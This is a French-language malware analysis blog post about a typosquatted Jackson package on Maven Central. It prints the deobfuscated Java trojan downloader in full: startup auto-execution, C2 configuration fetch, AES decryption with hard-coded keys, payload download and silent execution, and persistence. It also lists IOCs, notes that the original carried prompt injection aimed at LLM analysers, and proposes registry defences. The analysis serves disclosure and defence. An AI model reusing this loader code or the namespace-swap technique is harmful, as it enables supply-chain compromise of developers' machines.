Aikido

Premier malware sophistiqué découvert sur Maven Central via une attaque de typosquatting sur Jackson

Écrit par
Charlie Eriksen

Aujourd'hui, notre équipe a identifié un package malveillant (org.fasterxml.jackson.core/jackson-databind) sur Maven Central se faisant passer pour une extension légitime de la bibliothèque Jackson JSON. C'est assez nouveau, et c'est la première fois que nous détectons un malware plutôt sophistiqué sur Maven Central. Il est intéressant de noter que ce changement d'orientation vers Maven intervient alors que d'autres écosystèmes, comme npm, renforcent activement leurs défenses. Comme nous avons rarement vu d'attaques dans cet écosystème, nous avons voulu le documenter afin que la communauté puisse se rassembler et protéger l'écosystème tant que ce problème n'en est qu'à ses débuts.

Les attaquants ont déployé des efforts considérables pour créer une charge utile multi-étapes, avec des chaînes de configuration chiffrées, un serveur de commande et de contrôle distant délivrant des exécutables spécifiques à la plateforme, et plusieurs couches d'obfuscation conçues pour entraver l'analyse. Le typosquatting opère à deux niveaux : le paquet malveillant utilise le org.fasterxml.jackson.core namespace, tandis que la bibliothèque Jackson légitime est publiée sous com.fasterxml.jackson.core. Cela reflète le domaine C2 : fasterxml.org par rapport au vrai fasterxml.com. Le .com à .org L'échange est suffisamment subtil pour passer une inspection superficielle, mais il est entièrement contrôlé par l'attaquant.

À ce jour, nous avons signalé le domaine à GoDaddy et le package à Maven Central. Le package a été retiré en 1,5 heure. 

Le malware en un coup d'œil

Lorsque nous avons ouvert le .jar fichier, nous avons vu ce désordre :

Ouf, mais qu'est-ce qui se passe ici ? Ça me donne le tournis rien qu'à le regarder !

  • Il est fortement obfusqué, comme en témoigne son apparence.
  • Il contient des tentatives de tromper les analyseurs basés sur des LLM via des appels new String() avec injection de prompt.
  • Lorsqu'il est visualisé dans un éditeur qui n'échappe pas les caractères Unicode, il présente beaucoup de bruit.

Mais n'ayez crainte, avec un peu d'aide, nous pouvons le désobscurcir pour obtenir quelque chose de bien plus lisible :

package org.fasterxml.jackson.core;  // FAKE PACKAGE - impersonates Jackson library

/**
 * DEOBFUSCATED MALWARE
 * 
 * True purpose: Trojan downloader / Remote Access Tool (RAT) loader
 * 
 * This code masquerades as a legitimate Spring Boot auto-configuration
 * for the Jackson JSON library, but actually:
 *   1. Contacts a C2 server
 *   2. Downloads and executes a malicious payload
 *   3. Establishes persistence
 */
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {

    // ============ DECRYPTED CONSTANTS ============
    
    // Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
    private static final String AES_KEY = "OBF_DEFAULT_KEYS";
    
    // Secondary encryption key for payloads
    private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
    
    // Command & Control server URL (typosquatting fasterxml.com)
    private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
    
    // Persistence marker file (disguised as IntelliJ IDEA file)
    private static final String PERSISTENCE_FILE = ".idea.pid";
    
    // Downloaded payload filename  
    private static final String PAYLOAD_FILENAME = "payload.bin";
    
    // User-Agent for HTTP requests
    private static final String USER_AGENT = "Mozilla/5.0";

    // ============ MAIN MALWARE LOGIC ============
    
    @Bean
    public ApplicationRunner autoRunOnStartup() {
        return args -> {
            executeMalware();
        };
    }
    
    private void executeMalware() {
        // Step 1: Check if already running via persistence file
        if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
            System.out.println("[Check] Running, skip");
            return;
        }
        
        // Step 2: Detect operating system
        String os = detectOperatingSystem();
        
        // Step 3: Fetch payload configuration from C2 server
        String config = fetchC2Configuration();
        if (config == null) {
            System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
            // Translation: "Failed to get current system's Payload configuration"
            return;
        }
        System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
        // Translation: "Matched configuration from each HTTP line"
        
        // Step 4: Download payload to temp directory
        String tempDir = System.getProperty("java.io.tmpdir");
        Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
        downloadPayload(config, payloadPath);
        
        // Step 5: Make payload executable on Unix systems
        if (os.equals("linux") || os.equals("mac")) {
            ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
            chmod.start().waitFor();
        }
        
        // Step 6: Execute payload with output suppressed
        executePayload(payloadPath, os);
        
        // Step 7: Create persistence marker
        Files.createFile(Paths.get(PERSISTENCE_FILE));
    }
    
    private String detectOperatingSystem() {
        String osName = System.getProperty("os.name").toLowerCase();
        
        if (osName.contains("win")) {
            return "win";
        } else if (osName.contains("mac") || osName.contains("darwin")) {
            return "mac";  
        } else if (osName.contains("nux") || osName.contains("linux")) {
            return "linux";
        } else {
            return "unknown";
        }
    }
    
    private String fetchC2Configuration() {
        try {
            URL url = new URL(C2_CONFIG_URL);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
                );
                StringBuilder config = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    config.append(line).append("\n");
                }
                return config.toString();
            }
        } catch (Exception e) {
            // Silently fail
        }
        return null;
    }
    
    private void downloadPayload(String config, Path destination) {
        try {
            // Config format: "win|http://...\nmac|http://...\nlinux|http://..."
            // Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
            
            String os = detectOperatingSystem();
            String payloadUrl = null;
            
            // Parse each line of config to find matching OS
            for (String encryptedLine : config.split("\n")) {
                String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
                // Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
                String[] parts = line.split("\\|", 2);
                if (parts.length == 2 && parts[0].equals(os)) {
                    payloadUrl = parts[1];
                    break;
                }
            }
            
            if (payloadUrl == null) {
                return;
            }
            
            // Download payload binary
            URL url = new URL(payloadUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                try (InputStream in = conn.getInputStream()) {
                    Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
                }
            }
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private String decryptAES(String hexEncrypted, String key) {
        try {
            // Convert hex string to bytes
            byte[] encrypted = new byte[hexEncrypted.length() / 2];
            for (int i = 0; i < encrypted.length; i++) {
                encrypted[i] = (byte) Integer.parseInt(
                    hexEncrypted.substring(i * 2, i * 2 + 2), 16
                );
            }
            
            SecretKeySpec secretKey = new SecretKeySpec(
                key.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(encrypted);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
    
    private void executePayload(Path payload, String os) {
        try {
            ProcessBuilder pb;
            if (os.equals("win")) {
                // Execute payload, redirect stderr/stdout to NUL
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("NUL"));
                pb.redirectError(new File("NUL"));
            } else {
                // Execute payload, redirect to /dev/null  
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("/dev/null"));
                pb.redirectError(new File("/dev/null"));
            }
            pb.start();
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private boolean isProcessRunning(String processName, String os) {
        try {
            Process p;
            if (os.equals("win")) {
                // tasklist /FI "IMAGENAME eq processName"
                p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI", 
                    "IMAGENAME eq " + processName});
            } else {
                // ps -p <pid>
                p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
            }
            return p.waitFor() == 0;
        } catch (Exception e) {
            return false;
        }
    }
    
    // ============ STRING DECRYPTION ============
    
    /**
     * Decrypts obfuscated strings
     * Algorithm:
     *   1. Reverse the key
     *   2. Reverse the encrypted string  
     *   3. Base64 decode
     *   4. AES/ECB decrypt
     */
    private static String decrypt(String encrypted, String key) {
        try {
            String reversedKey = new StringBuilder(key).reverse().toString();
            String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
            
            byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
            
            SecretKeySpec secretKey = new SecretKeySpec(
                reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(decoded);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
}

Flux de malware

Voici un aperçu du fonctionnement du malware :

Étape 0 : Infection. Un développeur ajoute la dépendance malveillante à son fichier pom.xml, pensant qu'il s'agit d'une extension Jackson légitime. Le paquet utilise le org.fasterxml.jackson.core namespace, le même que la véritable bibliothèque Jackson, pour paraître digne de confiance.

Étape 1 : Exécution automatique. Lorsque l'application Spring Boot démarre, Spring recherche @Configuration classes et trouve JacksonSpringAutoConfiguration. Le @ConditionalOnClass({ApplicationRunner.class}) le contrôle passe (ApplicationRunner est toujours présente dans Spring Boot), ainsi Spring enregistre la classe comme un bean. Le logiciel malveillant ApplicationRunner est invoqué automatiquement après le chargement du contexte de l'application. Aucun appel explicite n'est requis.

Étape 2 : Vérification de la persistance. Le malware recherche un fichier nommé .idea.pid dans le répertoire de travail. Ce nom de fichier est délibérément choisi pour se fondre dans les fichiers de projet IntelliJ IDEA. Si le fichier existe, le malware suppose qu'il est déjà en cours d'exécution et se ferme silencieusement.

Étape 3 : Empreinte numérique de l'environnement. Le malware détecte le système d'exploitation en vérifiant System.getProperty("os.name") et en comparant avec win, mac/darwin, et nux/linux.

Étape 4 : Contact C2. Le malware contacte http://m.fasterxml[.]org:51211/config.txt, un domaine typosquatté imitant le légitime fasterxml.com. La réponse contient des lignes chiffrées en AES, une par plateforme supportée.

Étape 5 : Livraison de la charge utile. Chaque ligne de la configuration est déchiffrée en utilisant AES-ECB avec une clé codée en dur (9237527890923496). Le format est os|url, par exemple ces valeurs que nous avons trouvées lors de la rétro-ingénierie du malware :

win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe

mac|http://103.127.243[.]82:8000/http/192he23/update

Le malware sélectionne l'URL correspondant à l'OS détecté et télécharge le binaire dans le répertoire temporaire du système sous le nom de payload.bin.

Étape 6 : Exécution. Sur les systèmes Unix, le malware s'exécute chmod +x sur la charge utile. Il exécute ensuite le binaire avec stdout/stderr redirigé vers /dev/null (Unix) ou NUL (Windows) pour supprimer toute sortie. La charge utile Windows est nommée svchosts.exe, un typosquat délibéré du légitime svchost.exe processus.

Étape 7 : Persistance. Enfin, le malware crée le .idea.pid fichier marqueur pour empêcher la réexécution lors des redémarrages ultérieurs de l'application.

Le domaine

Le domaine typosquatté fasterxml.org a été enregistré le 17 décembre 2025, soit seulement 8 jours avant notre analyse. Les enregistrements WHOIS indiquent qu'il a été enregistré via GoDaddy et mis à jour le 22 décembre, suggérant un développement actif de l'infrastructure malveillante dans les jours précédant son déploiement.

Le court laps de temps entre l'enregistrement du domaine et son utilisation active est un schéma courant dans les campagnes de malwares : les attaquants mettent en place leur infrastructure peu avant le déploiement afin de minimiser la fenêtre de détection et de mise sur liste noire. La bibliothèque légitime Jackson opère sur fasterxml.com depuis plus d'une décennie, rendant le .org variante une usurpation à faible effort et à forte récompense.

Les binaires

Nous avons récupéré les binaires et les avons soumis à VirusTotal pour analyse :

Linux/Mac - 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows - 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

Le payload Linux/macOS est systématiquement identifié comme un beacon Cobalt Strike par la quasi-totalité des fournisseurs de détection. Cobalt Strike est un outil commercial de test d'intrusion qui offre des capacités complètes de commande et de contrôle : accès à distance, collecte d'identifiants, mouvement latéral et déploiement de payloads. Bien que conçu pour une utilisation légitime par les équipes rouges, des versions divulguées en ont fait un outil privilégié des opérateurs de ransomwares et des groupes APT. Sa présence signale généralement des adversaires sophistiqués ayant des intentions allant au-delà du simple cryptominage.

Opportunités pour Maven Central de protéger l'écosystème

Cette attaque met en évidence une opportunité de renforcer la manière dont les registres de paquets gèrent le "namespace squatting". D'autres écosystèmes ont déjà pris des mesures pour s'attaquer à ce problème, et Maven Central pourrait bénéficier de défenses similaires.

Le problème de l'échange de préfixe : Cette attaque a exploité un angle mort spécifique : les échanges de préfixes de style TLD dans la convention de nommage de domaine inversé de Java. La bibliothèque légitime Jackson utilise com.fasterxml.jackson.core, tandis que le package malveillant utilisé org.fasterxml.jackson.core. Ceci est directement analogue au typosquattage de domaine (fasterxml.com vs fasterxml.org), mais Maven Central ne semble actuellement disposer d'aucun mécanisme pour le détecter.

Il s'agit d'une attaque simple, et nous nous attendons à des imitateurs. La technique démontrée ici : l'échange de com. contre org. dans l'espace de noms d'une bibliothèque populaire. Cela ne requiert qu'une sophistication minimale. Maintenant que cette approche a été documentée, nous nous attendons à ce que d'autres attaquants tentent des échanges de préfixes similaires contre d'autres bibliothèques de grande valeur. Il est temps de mettre en œuvre des défenses, avant que cela ne devienne un schéma généralisé.

Compte tenu de la simplicité et de l'efficacité de cette attaque par échange de préfixes, nous exhortons Maven Central à envisager la mise en œuvre de :

  • Détection de similarité de préfixe. Lorsqu'un nouveau package est publié sous org.example, vérifiez si com.example ou net.example existe déjà avec un volume de téléchargement significatif. Si c'est le cas, signalez-le pour examen. La même logique devrait s'appliquer en sens inverse et à travers tous les TLDs courants (`com, org, net, io, dev`).
  • Protection des packages populaires. Maintenir une liste de namespaces de grande valeur (comme com.fasterxml, com.google, org.apache) et nécessitent une vérification supplémentaire pour tout package publié sous des espaces de noms d'apparence similaire.

Nous partageons cette analyse dans un esprit de collaboration. L'écosystème Java a été un refuge relativement sûr face aux attaques de la chaîne d’approvisionnement qui ont frappé npm et PyPI ces dernières années. Des mesures proactives peuvent désormais contribuer à maintenir cette situation.

IOCs

Domaines :

  • fasterxml[.]org
  • m.fasterxml[.]org

Adresses IP :

  • 103.127.243[.]82

URLs :

  • http://m.fasterxml[.]org:51211/config.txt
  • http://103.127.243[.]82:8000/http/192he23/svchosts.exe
  • http://103.127.243[.]82:8000/http/192he23/update

Binaires :

  • Charge utile Windows (svchosts.exe) : 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f
  • Charge utile macOS (mise à jour) : 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Partager :

https://www.aikido.dev/blog/maven-central-jackson-typosquatting-malware

Abonnez-vous pour les actualités sur les menaces.

Commencez dès aujourd'hui, gratuitement.

Commencer gratuitement
Sans carte bancaire

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.